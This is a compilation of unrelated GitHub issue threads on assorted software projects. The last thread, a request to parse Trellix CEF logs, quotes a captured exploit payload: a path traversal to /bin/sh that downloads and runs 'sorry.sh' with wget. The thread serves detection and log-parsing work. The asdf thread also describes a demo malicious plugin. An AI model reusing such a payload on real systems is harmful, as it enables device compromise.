Is it possible to publish other versions to the gradle plugin portal?
Is there any other workaround (other than generating our pact files with
'real' instead of 'decimal')?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/DiUS/pact-jvm/issues/310, or mute the thread
https://github.com/notifications/unsubscribe-auth/AA0tsnSxMsGX0Tkbvk8Nqd-PcH6-zwLmks5qg2kGgaJpZM4Jm1Ma
.

2.4.14 is now available from the gradle plugin portal


Plugin using a different remote should create a warning

Describe the bug
When adding a plugin that is already added but has a different remote, not action are taken until ASDF_PLUGIN_MANAGER_ADD_CLEAN is true. Maybe a warning should be issued if plugins remote URLs are different.
Steps to reproduce
From a container with asdf and asdf-plugin-manager installed (source available)
node@79423a9cc918:/demo$ asdf plugin-add sops https://github.com/sylvainmetayer/asdf-sops-evil
node@79423a9cc918:/demo$ asdf install sops latest
redirect url: https://github.com/getsops/sops/releases/tag/v3.8.1
sops 3.8.1 installation was successful!
node@79423a9cc918:/demo$ cd plugin-manager/
# Evil sops version, not valid Git remote. This should be fixed by using .plugin-versions and official git remote
node@79423a9cc918:/demo/plugin-manager$ sops
Vous pensiez utiliser sops ?
Dommage, vous venez de faire fuire toutes vos clés SSH vers un serveur mailveillant ! 😈
node@79423a9cc918:/demo/plugin-manager$ asdf global asdf-plugin-manager 1.3.1
node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager version
1.3.1
# We can see below that currently installed version is not valid
node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager export
asdf-plugin-manager  https://github.com/asdf-community/asdf-plugin-manager.git  54ac342
nodejs               https://github.com/asdf-vm/asdf-nodejs.git                 c5b7c40
sops                 https://github.com/sylvainmetayer/asdf-sops-evil           b7bb9cd
node@79423a9cc918:/demo/plugin-manager$ bat .plugin-versions
# shortened output
   1    # plugin-name  git-url                               git-ref (hash, tag, or branch)
   2    sops           https://github.com/feniix/asdf-sops   master

# I expected that any of "add-all / update-all / add sops / update sops" commands would fix the git remote, or at least
# show a warning

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager add-all
[INFO] Adding: sops https://github.com/feniix/asdf-sops master
Plugin named sops already added
error: pathspec 'master' did not match any file(s) known to git

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager add sops
[INFO] Adding: sops https://github.com/feniix/asdf-sops master
Plugin named sops already added
error: pathspec 'master' did not match any file(s) known to git

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager update-all
[INFO] Updating: sops https://github.com/feniix/asdf-sops master to HEAD
Location of sops plugin: /home/node/.asdf/plugins/sops
Updating sops to main
Already on 'main'
Your branch is up to date with 'origin/main'.
[INFO] The plugin "sops" with git-ref "master" is already up-to-date.

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager export
asdf-plugin-manager  https://github.com/asdf-community/asdf-plugin-manager.git  54ac342
nodejs               https://github.com/asdf-vm/asdf-nodejs.git                 c5b7c40
sops                 https://github.com/sylvainmetayer/asdf-sops-evil           b7bb9cd

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager update sops
[INFO] Updating: sops https://github.com/feniix/asdf-sops master to HEAD
Location of sops plugin: /home/node/.asdf/plugins/sops
Updating sops to main
Already on 'main'
Your branch is up to date with 'origin/main'.
[INFO] The plugin "sops" with git-ref "master" is already up-to-date.

# With this variable, the plugin is uninstalled before. This ensure the new remote is installed.
node@79423a9cc918:/demo/plugin-manager$ export ASDF_PLUGIN_MANAGER_ADD_CLEAN=true

# However, this does not seems to work with the "update" option
node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager update sops
[INFO] Updating: sops https://github.com/feniix/asdf-sops master to HEAD
Location of sops plugin: /home/node/.asdf/plugins/sops
Updating sops to main
Already on 'main'
Your branch is up to date with 'origin/main'.
[INFO] The plugin "sops" with git-ref "master" is already up-to-date.

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager export
asdf-plugin-manager  https://github.com/asdf-community/asdf-plugin-manager.git  54ac342
nodejs               https://github.com/asdf-vm/asdf-nodejs.git                 c5b7c40
sops                 https://github.com/sylvainmetayer/asdf-sops-evil           b7bb9cd

node@79423a9cc918:/demo/plugin-manager$ asdf-plugin-manager add sops
[INFO] Adding: sops https://github.com/feniix/asdf-sops master
[INFO] Removing: sops
[INFO] Done.

node@79423a9cc918:/demo/plugin-manager$ asdf install sops latest
Downloading sops from https://github.com/getsops/sops/releases/download/v3.8.1/sops-v3.8.1.linux.amd64
asdf: Warn: You have configured asdf to preserve downloaded files (with always_keep_download=yes or --keep-download). But
asdf: Warn: the current plugin (sops) does not support that. Downloaded files will not be preserved.

# Valid SOPS version
node@79423a9cc918:/demo/plugin-manager$ sops
Error: no file specified

Expected behavior
When using different remote URLs for a plugin, a warning should be issued. If the ASDF_PLUGIN_MANAGER_ADD_CLEAN variable is present, the plugin is (except for the update command) uninstalled and reinstalled with the correct git remote.
Screenshots
N/A
Additional context
Thanks a lot for asdf that I use on a daily basis and for this plugin ! I'm preparing a talk on asdf and want to speak about this plugin, that solve an issue we have in our team and ensure consistency in our plugins URLs/tags accross  team members.
My demo use case is maybe an edge case as we often use "official" plugins, but I was surprised that no warning would be issued.

@sylvainmetayer Thanks for reporting this, it's a good idea for sure :raised_hands:
Would you like to create a PR for it?

I'll look into it within the next few weeks and keep you updated :)


Missing Slot types?

QTableWidget has a number of slots that don't look like they are covered in the core SlotOf... list. For instance, here is the signature for a signal:
void QTableWidget::currentItemChanged(QTableWidgetItem *current, QTableWidgetItem *previous)

What would one use to define a slot that works with this signal?

Realized that I don't really need to use this given that i can get the selection model and go from there...

These slot wrappers can't be provided by qt_core because qt_core doesn't have QTableWidgetItem type. Each crate provides its own slot wrappers for arguments that are not covered by its dependencies.  For QTableWidget::currentItemChanged, the corresponding slot wrapper is qt_widgets::SlotOfQTableWidgetItemQTableWidgetItem.


Issue summarization does not include info about different authors

Testing #6321
The comments section in the example below summarizes the back and forth of the conversation well, but it misses an indication who the authors where, so it is not clear that this was a conversation between multiple authors and who brought up which arguments.

With PR https://github.com/microsoft/vscode-pull-request-github/pull/6389 the summarization looks as follows:


Minor documentation correction for 2.14.0

Description
Minor documentation correction for 2.14.0, incorporate changes from:

https://github.com/opensearch-project/OpenSearch/pull/13532
https://github.com/opensearch-project/OpenSearch/pull/13174

Issues Resolved
N/A
Checklist

[ ] By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license and subject to the Developers Certificate of Origin.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@hdhalter a few correction for 2.14 please, thank you!


Error Exception   - Trying to access array offset on value type null

Describe the bug
Attempting to test the Stock section of the software I discovered this bug.  When going through steps to add all info into system I am met with the error in the Title.
To Reproduce
Steps to reproduce the behavior:

Go to '/en/products/stock   and attempt to enter stock into the system with locations and everything.
See error

Expected behavior
New products to be added along with locations of where it comes from, etc.
Screenshots
Screenshot of the error and file location as well as the PHP version has been added
Desktop (please complete the following information):

OS: Xampp ( on Windows 10)

Browser Chrome, Edge, FF

Version [e.g. 22]

Smartphone (please complete the following information):

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

Additional context
Add any other context about the problem here.

No sadly I don't.

Apparently the DEMO version and the one that I downloaded are very different somehow.  Is there a way to get the code for the DEMO site that you have up?  That one seems to work just fine.

The online version is version 1.0.7 which I believe is the one you are testing.
Looking better, I see that the error is on line 49
<td>{{ $StockLocationsProduct->Product['label'] }}</td>
You can show the line that is in your "stock_location_products" database
I have tree connections with other tables (which
        $table->integer('user_id');
        $table->integer('stock_locations_id');
        $table->integer('products_id');

I assume that products_id must be empty in your database record ?
I made similar corrections on version 1.0.5 after user feedback.
this field must not be empty

I have to admit that I don't have much feedback on stock and wem

Thank you for the quick response.  In my testing I am finding a lot of features that I like in regards to helping production throughput.

@Circlegent Don't hesitate to submit ideas, I would be happy to contribute even more if possible.

I am reopening this issue, I will provide a fix this evening so that the user does not fall into this situation
class StoreStockLocationProductsRequest extends FormRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        return [
            //
            'code' =>'required|unique:stock_location_products',
            'stock_locations_id' =>'required',
            'mini_qty' =>'numeric|min:0',
        ];
    }
}

Fixed


Bit of an issue with the subsection: Why should I worry about Windows Autopilot devices?

Hi,
No issues with the examples themselves, however the setup sentence at the beginning makes no sense on its own. I believe a necessary corollary is missing, that of the deletion of the device from Azure AD.
Why should I worry about Windows Autopilot devices?
When a Azure AD device was associated with a Windows Autopilot object the following three scenarios can occur if the device will be repurposed in future:  Original
Based on the three scenarios listed, does it make more sense to set it up by saying:
When you delete an Azure AD device that was associated with a Windows Autopilot object the following three scenarios can occur if the device will be repurposed in future:  Suggested edit

With Windows Autopilot user-driven deployments without using white glove, a new Azure AD device will be created, but it won’t be tagged with the ZTDID.
With Windows Autopilot self-deploying mode deployments, they will fail because an associate Azure AD device cannot be found. (This is a security mechanism to make sure that no “imposter” devices try to join Azure AD with no credentials.) The failure will indicate a ZTDID mismatch.
With Windows Autopilot white glove deployments, they will fail because an associated Azure AD device cannot be found. (Behind the scenes, white glove deployments use the same self-deploying mode process, so they enforce the same security mechanisms.)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ad8e93b0-2d8b-68c0-62ee-be44831b1557
Version Independent ID: b55939f9-e552-9818-80b7-535601d4bc7b
Content: How to manage stale devices in Azure AD
Content Source: articles/active-directory/devices/manage-stale-devices.md
Service: active-directory
Sub-service: devices
GitHub Login: @MicrosoftGuyJFlo
Microsoft Alias: joflore

@Pickell We are checking this and we will get back to you.

Thanks! I think it's a fair point and made a pull request to add the suggested edit. https://github.com/MicrosoftDocs/azure-docs-pr/pull/125594


datree/datreeci:latest is not using latest CLI version - gets 'A new major CLI version is available, upgrade your CLI before the current version gets deprecated...'

The docker image datree/datreeci:latest is not using the latest version of the CLI, so the action output is showing:
A new major CLI version is available, upgrade your CLI before the current version gets deprecated. Refer to our docs for version upgrade instructions - https://hub.datree.io/#a-1-install-the-datree-cli

I recommend this docker image is CI build whenever a new version tag is created on GitHub.
I tend to find the latest release of many github projects using the GitHub API endpoint: https://api.github.com/repos/datreeio/datree/releases/latest and taking the tag_name field, although it'd probably also work to just run curl https://get.datree.io | /bin/bash in the docker build every time there is a new tag.

Hey @HariSekhon, as you said the image was not updated correctly. It is now fixed.
Please let me know that this resolved the issue:)

@HariSekhon Hi, has this been resolved for you after the image update?

Yes, thanks.


HTML

Hi Razvan, merge my pull request. All changes describe in issue #1

Great job Olga. Sorry If I'm moving slowly. I'm barely sitting on the chair.


Support hashrocket hash literals

This adds support for parsing hash literals with hash rocket operators. splats are also supported, but other hash key syntax are not implemented.
Closes: https://github.com/Shopify/yarp/issues/136

Sorry @hparker do you mind rebasing?

No prob! Updated


update hofx answers

Description
https://github.com/JCSDA-internal/ufo/pull/469 changed the answers for our hofx_3d test. this updates the answers

Description
JCSDA-internal/ufo#469 changed the answers for our hofx_3d test. this updates the answers

Oops, sorry, we forgot to do a sister pr in soca.

Description
JCSDA-internal/ufo#469 changed the answers for our hofx_3d test. this updates the answers

Oops, sorry, we forgot to do a sister pr in soca.


More devserver options

Please add the following development config options:

option to pause the Tauri build (or at least its console output) while the dev server is spinning up; both are writing to the console while building, and I am often missing the dev server's error in the Tauri log.

option to terminate the Tauri build if a devserver command was configured and if that command fails with a non-zero exit code; current behavior is that Tauri keeps building and displays a blank page

option to force-terminate the devserver when Tauri is terminated (related: #2794)

we can't know when the devServer is finished, in fact we don't know if it is a server or not, we are only executing the beforeDevCommamd you specified in tauri.conf.json. The solution is to run your devServer in a separate terminal.

Good suggestion, we will definitely consider that.

This issue has been brought up alot but there is not much that we can do tbh, we are only spawning a process for beforeDevCommand and that command can other processes that we can't control nor can we even know about them and it is the job of the process who spawned them to clean them as it exists. We will definitely look into improving it but no guarantees.

I am gonna go ahead and close this but feel free to open another issue for No.2


Problems with authentication after last upgrade

Hello!
I have problems with auth after upgrade dispatch.

My .env config this
DISPATCH_AUTHENTICATION_PROVIDER_SLUG=
DISPATCH_AUTHENTICATION_PROVIDER=
#DISPATCH_AUTHENTICATION_PROVIDER=""
#DISPATCH_AUTHENTICATION_PROVIDER_SLUG=
DISPATCH_AUTHENTICATION_PROVIDER_PKCE_JWKS=
Frontend
#VUE_APP_DISPATCH_AUTHENTICATION_PROVIDER_PKCE_OPEN_ID_CONNECT_URL=""
#VUE_APP_DISPATCH_AUTHENTICATION_PROVIDER_PKCE_CLIENT_ID=""

I am stuck on auhentication now, where did you put in  the following?
"authorization_endpoint":
"token_endpoint":

@kevgliss can confirm, but I think his ongoing PR (https://github.com/Netflix/dispatch/pull/241/) should fix these problems.

I create account via /register, but i have same error.
Ho can I create this ?
"authorization_endpoint":
"token_endpoint":
i didn't find anything about this in docs?

@sychev-a-k #250 should fix your immediate problem. Please try it out.

Today i have problems with build dispatch web after upgrade


TypeORM Integration

Dear team,
I would like to evaluate if it is possible to use this package in combination with TypeORM instead of Bookshelf. Or rather pass any object (or object[]) to this package in order to serialize the data accoring to the JSON:API styleguide..
What do you think?
Do we need a TypeORM integration or would it be better to get the data in a separate package and only pass the object or object[] to the package here?
All the best

I think I see your point with the idea of passing in a single type of object or object[] and do the ORM to JSON transformation in another. It can be interesting to pursue this option.
The thing is that we have a lot of options available and a lot of functionality. You can go ahead and send a PR our way to change how it's done. If the tests pass and the code looks good, it will surely get merged!


NEXT: Tweaks to Swift Swim, Sand Rush, Chlorophyll

Changing Swift Swim, Sand Rush, Chlorophyll to give a 1.5x speed boost to nerf weather in NEXT.

Squash etc

Squashed.


Controller Support: Steam Deck

I cannot move using the analog sticks on the Steam Deck, since the new SteamOS Update, even though I can look around.
To Reproduce
Steps to reproduce the behavior:

Install Midnight Controls
Open Minecraft
Join a Minecraft Server
Try to move
Doesn't work

Expected behavior
To simulate using WASD.
Desktop (please complete the following information):

OS: Linux (specifically SteamOS on the Steam Deck)
Minecraft Version: 1.19.2
Fabric Version: 0.14.10
Mods: Fabric API, Lithium, Midnight Controls, Midnight Controls Extra, Mod Menu, Sodium, Starlight
Version: 1.7.1
Branch: stable (the one on modrinth)

Same issue here: Can’t move on SD + Controls are not mapped correctly e.g. I jump with Y instead of A. This„bugged“ Lay-out stays, no matter wich controller Lay-out is chosen.
OS: SteamOS 3.3.2
Minecraft Version: 1.19.2
Fabric Version: 0.14.11
Mods: Fabric API 10.67.0+ 1.19.2, Midnight Controls 1.7.1 + 1.19, Midnight Controls Extra 1.0.0
Branch: stable / the one available on Modrinth

It seems like it is fixed when I try playing in gaming mode.

All issues occuring on the Steam Deck should now be reported here.

I have managed to get the controls working in gaming mode.
However I have a separate issue where opening the pause menu quickly closes it again meaning I have to force close the entire program.


update benchy for async / threaded functions

update benchy for async / threaded functions consider processes as well and any other high demand timing function scenerios

library deprecating


implement testing workflows

closes #131
Changes
There is now a CI running on pushes to the DEV, on PRs to the DEV and on a manual trigger running the tests once in the frontend and once in the backend.
Each run consists of matrix testing with node versions 12.x and 14.x on the latest versions of macOs, Ubuntu and Windows each.
Checklist before merge
Developer's responsibilities

[ ] Assign one or two developers
[ ] Change code if reviewer(s) has/have requested it
[ ] Pull request build has passed
[ ] tested locally (in at least chrome & firefox if frontend)
[ ] updated the documentation
[ ] added tests where necessary

Nice! I like it!

It says that some checks failed and therefore merging is blocked. Do you know what this is about?

For me it says that merging can be performed with two approvals.
The failing checks are because of the CI I built. The workflow detects that some of our tests are failing...


Use a new env var for error backtraces.

cc @cramertj @jsgf

Maybe RUST_FAILURE_BACKTRACE? ERROR_BACKTRACE could very well overlap with other things in people's environment.

I changed it to RUST_ERROR_BACKTRACE.
I'm not sure about this though.. I think in the long term it would be better for RUST_BACKTRACE to turn all backtraces on and have a RUST_PANIC_BACKTRACE that only turns on panic backtraces. That way you never need to set two env vars, you just have to decide which env var to set. That would require an upstream patch.

Talked to @alexcrichton who suggested that at least until we can get RUST_PANIC_BACKTRACE upstreamed, we could instead have it so that you can set RUST_FAILURE_BACKTRACE to 0 to turn them off. So you have:

RUST_BACKTRACE=1: everything on
RUST_FAILURE_BACKTRACE=1: just failure backtraces
RUST_BACKTRACE=1 RUST_FAILURE_BACKTRACE=0: just panic backtraces

Implemented that behavior with tests, going to merge it.


WW/WC not working for some DICOM files

(QUESTION)
I working on a medical project (i don't have medical knowledge (ex: DICOM file))
I have two DICOM files. Can download from url:
test_DICOM_WW_WC_ng_file.dcm
test_DICOM_WW_WC_ok_file.dcm
Steps to Reproduce
Go to URL: https://rawgit.com/cornerstonejs/cornerstoneWADOImageLoader/master/examples/dicomfile/index.html

If load the file: test_DICOM_WW_WC_ok_file.dcm
I can change WW/WC by left mouse button.

If load the file: test_DICOM_WW_WC_ng_file.dcm
I can't change WW/WC by left mouse button.
(My customer reported a bug in this case)

I try find some information, and go to URL: https://rawgit.com/cornerstonejs/dicomParser/master/examples/dumpWithDataDictionary/index.html

If load the file: test_DICOM_WW_WC_ok_file.dcm
WindowCenterWidthExplanation property missing.

If load the file: test_DICOM_WW_WC_ng_file.dcm
I can see property: WindowCenterWidthExplanation : "linear LUT"

Could you please give me some infomation / solution in this case?
Thanks./

I have some problem when i using cornerstoneTools package.
I found out that the WW/WC tool doesn't work only with DICOM files that have the VOILUTSequence field.
So my decision - remove this field and it working for me. If you don't know how make it, you can use my script - DICOM Anonymizer.
I hope this decision helped you :)

You can also just unset the Viewport's VOI LUT field. Here's an example of toggling it on / off:
https://github.com/cornerstonejs/cornerstoneWADOImageLoader/blob/31a9b5a5eb267cfdfcf6db45218ad70c6d7ee115/examples/wadouri/index.html#L332-L336


Fix Windows SSH issues

Fixes https://github.com/docker/machine/issues/1906
Added bonus:  Makes SSH "streaming" for docker-machine ssh work (previously it would buffer the whole output of the command and then display it) and fixes an issue I discovered with SSH port forwarding (e.g. docker-machine ssh default -L 8080:localhost:8080).
TODO:

[ ] Unit tests

cc @dmp42 @ehazlett @carolynvs
Signed-off-by: Nathan LeClaire<EMAIL_ADDRESS>

Thanks to @carolynvs in particular for being persistent in reporting and debugging the issue.

I just built this PR and tried it out. With it I am able to get much further, and docker-machine create test --driver virtualbox now completes.
Unfortunately there appears to be another problem and I am not sure if it is related so I opened #1954.

Awesome, thanks for testing @carolynvs !

LGTM

@carolynvs I think there is also another issue at play in your case -- hopefully we can debug it soon.


Fixes on dark mode text contrast

Fixed dark mode text contrast problems from issue #171

@jerehut Thank you!

@jerehut Thank you!


[BUG] When the branch flow of the if / else task is empty, the prompt is ambiguous

当任务状态为成功或失败的分支流转都为空时，点击“确认提交”按钮，提示语改为“成功分支流转或失败分支流转不能为空”

Which version of Dolphin Scheduler:
-[1.2.0_release]

@break60

Please use English

Front end fixed
https://github.com/analysys/incubator-dolphinscheduler/commit/5fba9bee1b74429c6c2954edf79337b5672a7aa9


Support for custom document IDs

Increases compatibility with existing datasets, e.g. in some cases it has been beneficial to store the document ID both as the "key" and in the data properties.
This allows both overriding the document ID to use a field other than id, and to not crash when there is another id or similar in the data.

LGTM


loading

this probably involved creating a useFetcher like BenAwads to handle our supabase requests
some refactoring of DataContext ( just refactored :( )

integrated loading with tanstack in PR #19


Add custom text and logic for Arrow alerts

Fixes #142. This separates known-unstable benchmarks (right now, benchmarks for languages other than Python and R) out into their own section of the report. It also customizes the text for the Arrow setup a little more.

This is going to be tricky to test, so I may just merge it after review and monitor closely.

Will merge Monday morning.


Fixed appearance issues

Fixed issue #60

Any plans to include this PR in development soon? thank you guys and well done.

Looks great! Thank you!


hasura-auth-js Module Parse error on Nuxt 2

I am migrating from Nhost v1 to v2
When I use yarn build or yarn dev, I get a "Module parse failed" error:
ERROR in<EMAIL_ADDRESS>285:143
Module parse failed: Unexpected token (285:143)
You may need an appropriate loader to handle this file type, currently no loaders are configured to process this file. See https://webpack.js.org/concepts#loaders
|   };
| }

const M = typeof window < "u", x = /* @PURE */ new Map(), be = (n) => M && typeof localStorage < "u" ? localStorage.getItem(n) : x.get(n) ?? null, Oe = (n, e) => {
|   M && typeof localStorage < "u" ? e ? localStorage.setItem(n, e) : localStorage.removeItem(n) : e ? x.set(n, e) : x.has(n) && x.delete(n);
| }, Pe = (n, e) => {

I am running:

Nuxt version 2.16.3
@nhost/nhost-js version 2.2.2
Node 16.18.1

Desktop (please complete the following information):

Windows
Chrome
Version 112

This is similar to issue:  #419

Hey @RayZ0rG! The reason is that the nullish coalescing operator is most likely unsupported by the bundler you are using. We have experienced issues related to this in the past. I'll try to look into it soon.

Thx. I just figured it out yesterday. I will update the help ticket.
On Mon., May 15, 2023, 3:00 a.m. Szilárd Dóró, @.***>
wrote:

Hey @RayZ0rG https://github.com/RayZ0rG! The reason is that the nullish
coalescing operator is most likely unsupported by the bundler you are
using. We have experienced issues related to this in the past. I'll try to
look into it soon.
—
Reply to this email directly, view it on GitHub
https://github.com/nhost/nhost/issues/1920#issuecomment-1547293444, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AH726FNAO2UXFGO2M2PMXADXGHIB5ANCNFSM6AAAAAAX6KBWXU
.
You are receiving this because you were mentioned.Message ID:
@.***>

I have released a fix for your issue. Please give the new version a try.


check result remains Analyzing

I ran the commands in the following order
$docker-compose build
$docker-compose up -d
$docker exec -it dagda python3 dagda.py vuln --init
$docker exec -it dagda python3 dagda.py check --docker_image alpine:3.10
$docker exec -it dagda python3 dagda.py history --docker_image alpine:3.10
The results will remain Analyzing over time!

the following information:
OS: [Ubuntu]
OS Version: [18.0.4]
Python version: [Python 3.6.9]
Docker version [Docker version 19.03.12]

Rerun your test after my last updates.


[WIP] Added black as a formatter

Fixes #1153
This is a work in progress PR. I only spent a little bit of time on it, but am sharing in case someone wants to pick up where I left off now that there is an issue open for it. I'm probably not going to have time to work on it in the next couple of weeks (away on holiday) but will pick back up when I'm back if no one else has taken over.
This pull request:

[X] Has a title summarizes what is changing
[ ] Includes a news entry file (remember to thank yourself!)
[ ] Has unit tests & code coverage is not adversely affected (within reason)
[ ] Works on all actively maintained versions of Python (e.g. Python 2.7 & the latest Python 3 release)
[ ] Works on Windows 10, macOS, and Linux (e.g. considered file system case-sensitivity)

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: jarshwah sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

I'm closing this in favour of #1316 as I wanted to get this landed before PyCon US and took the opportunity to implement this from scratch as a learning exercise for myself.
I do want to thank you, @jarshwah , for pushing us to get this support in. I'm also making sure you're listed as a co-author on my PR as I checked your PR once or twice to see how you handled something (although one of those times you solution was a comment of WAT 😉 ). Hopefully there's no hard feelings about not directly using your PR for this.

#1316 is not it. You meant #1611.

@ambv yes I did 😄

Not at all, thanks for taking over! Family has taken up most of my time for the last few weeks, so I'm glad at the outcome. I'll check out your PR too - interested in how you handled some of the issues.


Unquoted strings cause hard to reason about KDL error

My first time playing with KDL and I have the following test KDL:
        let content = "
settings {
    first second
    num 12345
    string \"abcdefg\"
}";

When parsing this I get the following KDL error:
KdlError { input: "\nsettings {\n    first second\n    num 12345\n    string \"abcdefg\"\n}", offset: 1, line: 1, column: 1, kind: Other }

It was not clear to me that unquoted strings are not allowed in the KDL spec.  However, this error had me stumped for over an hour because it claimed the whole document was wrong for an unknown reason.  Quoting the second and the 12345 made this pass validation.
While I don't really agree with unquoted strings not being allowed (but that's a spec issue not kdl-rs issue), kdl-rs should at least pinpoint to the right word that's causing the error, and should have a better error kind for this situation, such as InvalidValueType.

New version will address this.


Usage of variable in filename

I guy's,
In version 0.3.16, I was using code like this:
<!--(bake /sources/pages/static-sample-contents/{{tab.content}}.html)-->
Yesterday, I update to the latest version of bake to have access to all new properties and fix. But my bake include doesn't work anymore because it bake doesn't parse the file name before testing if the file exists.
Error is ; Warning: Unable to read "sources/pages/static-sample-contents/{{tab.content}}.html" file (Error code: ENOENT). Use --force to continue.

Hm, did not know that bake processed variables in include names. But it should not be that difficult to add support for this.
Can you please provide a complete code example of your template?

Just edited my post

With more details information:
JSON content:
{ 	"tabs": [ 		{ 			"id": "sample-tab-content1", 			"title": "Tab title 1", 			"content": "tabs-component-content-1" 		}, 		{ 			"id": "sample-tab-content2", 			"title": "Tab title 2", 			"content": "tabs-component-content-2" 		}, 		{ 			"id": "sample-tab-content3", 			"title": "Tab title 3", 			"content": "tabs-component-content-3" 		}, 		{ 			"id": "sample-tab-content4", 			"title": "Tab title 4", 			"content": "tabs-component-content-4" 		} 	] }
code: <!--(bake components/tabs.html _section="sample-tabs")-->
tabs.html:
`

{{tab.title}}

`
Is this help ?

Thanks for the code example. I have added support for placeholders within include paths to the master branch.
@MichelGratton please check if this code works for you by using the current master (npm install git+https://github.com/MathiasPaumgarten/grunt-bake.git).
@MathiasPaumgarten The honor of bumping the version and starting a changelog belongs to you :wink:

Thank you very much, I will try this right away :)

Hey guys. I'm also surprised that it did work before. I never really anticipated for it. It must be because of how grunt-bake used to parse inline and external bakes. Thanks to a long needed refactor, this accidental side effect (bug, I might say) was closed.
However, it's now officially supported thanks to @david-zacharias. I'm in the process of reviewing and merging. I'll post another update in a few minutes.

Alright guys. This is now a supported feature. File paths are parsed as well.
@MichelGratton you can update to 1.3.0 and it will include that feature. Excited to see grunt-bake thrive under the careful attention of @david-zacharias. :cool: :high_brightness:

Works fine :) Very happy.

I am very pleased to hear that :+1:  Thanks @MathiasPaumgarten for bringing the changes live so quickly!

Updated to 1.3.0 from 0.3.18 and had the OP's error, though my example is a little more complex.
Warning: Unable to read "../includes/{{book1.filename}}" file (Error code: ENOENT). Use --force to continue.
pages/book_page_1.html
<!--(bake ../includes/book_sidebar.html bookImg="{{book1.img}}")-->

includes/book_sidebar.html
<!--(bake {{bookImg}})-->

content.json
{
    "book1": {
        "img": "../includes/book_sidebar_partial.html"
    },
}

Hi @k-funk, thanks for your feedback!
The resulting errors are similar to previous reported problem, but the issue here is that inline values are not processed by defaultProcess, so placeholders are not resolved. In bake 0.3.x also bake code was (unintentionally) processed.
I have moved your report into a new issue #67.


Need to capture type of swab

Describe your feature request in this format: As a (persona)_ I want to _(action or feature) so that _(expected outcome)
A required field to capture is the type of swab for the test. Some tests like the BinaxNow only use nasal swab, while others like the Sofia and Veritor can use either a nasal swab or nasopharyngeal swab.
Design

[ ] Research to understand where it would make sense to capture this data (time of test vs settings)
[ ] Whether our pilot partners have multiple types of swabs
[ ] Design for how this data would be captured in our app (Global settings, test queue, similar to device)

Engineering

[ ] Add Swab Type to Global Settings
[ ] Add Swab Type to Testing Queue Card

Describe alternatives you've considered
-If we can guarantee there will only be nasal swabs in the future this won't be an issue.
-I'm working to see how important this is and if we can wait on it or skip it (if nasopharyngeal swab are becoming a thing of the past)
Additional context
-Asked Jason Hall about this. His response was "Specimen source should be captured, if possible."
-AZ DHS needs this field
Acceptance Criteria
Design

[ ] Research on when the facility selects the type of swab to use @katiealoisi
[ ] Updated design for how to include this data in the app @hmyers-cms

Engineering

[ ] Add the UI to the front end of the app
[ ] Save the data to the backend and make it available to the data hub

Default to nasal swab, need to capture if any site uses nasal pharyngeal


Add Trellix to the Known Vendors List

What is the sc4s version ?
3.19.0
Is there a pcap available?
CEF:0|Trellix|MPS|<IP_ADDRESS>3768|IE|ips-event|3|externalId= rt=Jan 26 2024 15:05:45 UTC proto=tcp src= spt=52490 smac= dst= dpt= dmac= cnt=1 cs1Label=sname cs1=SSLv2 Client Hello Request Detected act=notified dvchost= dvc= dvcmac=3C:EC:EF:F4:26:66 cn2=85307089 cn2Label=sid cfp1=12 cfp1Label=signature revision cs4= cs4Label=link flexString2=server flexString2Label=attack mode msg=MVX Correlation Status:N/A cn1=181 cn1Label=vlan
What the vendor name?
Trellix (formerly known as FireEye)
What's the product name?
MPS and CMS
** Feature Request description: **
Add Trellix_MPS and Trellix_CMS to the known vendors list. They use CEF formatting
** Should it support TCP or UDP?**
Both
** Do you want to have it for local usage or prepare a github PR? **
Included in next release

Hello,  @flybarger! I published PR.
Can you please check is it PR working for you. You just need to upgrade on development version (from container3:latest):
docker pull ghcr.io/splunk/splunk-connect-for-syslog/container3:pr-2335

My instance of sc4s is air-gapped, so I can't pull it. Am I able to download it directly onto my machine from somewhere? When I go to the URL on my browser, it is blocked.

@flybarger if you haven't internet on your server you can try to use this tips.
Anyway after it would be released you need to upgrade on latest version.

Theres also CMS data from Trellix that I forgot to include in the original ticket. My apologies, here is an obfuscated example event:
CEF:0|Trellix|CMS|<IP_ADDRESS>3712|IM|infection-match|1|src= spt=51802 smac= dst= dpt=80 dmac= dvchost= dvc= cn1Label=vlan cn1=101 cn2Label=sid cn2= cn3Label=cncPort cn3=80 cs1Label=sname cs1=Exploit.IoT.HNAP1 cs4Label=link cs4= cs5Label=cncHost cs5= cs6Label=channel cs6=POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1::Host: :80::Content-Type: text/plain::Connection: close::::(wget http:///sorry.sh ; chmod 777 sorry.sh ; sh sorry.sh)::::echo Content-Type: text/plain; echo; (wget http:///sorry.sh ; chmod 777 sorry.sh ; sh sorry.sh)::::~~ proto=tcp rt=Feb 06 2024 14:28:46 UTC shost= externalId=827319 act=notified requestMethod=POST devicePayloadId=q1q1q1q1-q1q1-q1q1-q1q1-q1q1q1q1q1q1 start=Feb 06 2024 14:28:46 UTC dvcmac=

@flybarger I will add it soon, but first of all, check that this solution working for you

@flybarger are you have any updates? I planning release it before Monday, and it would be fluent that you will it test it before release

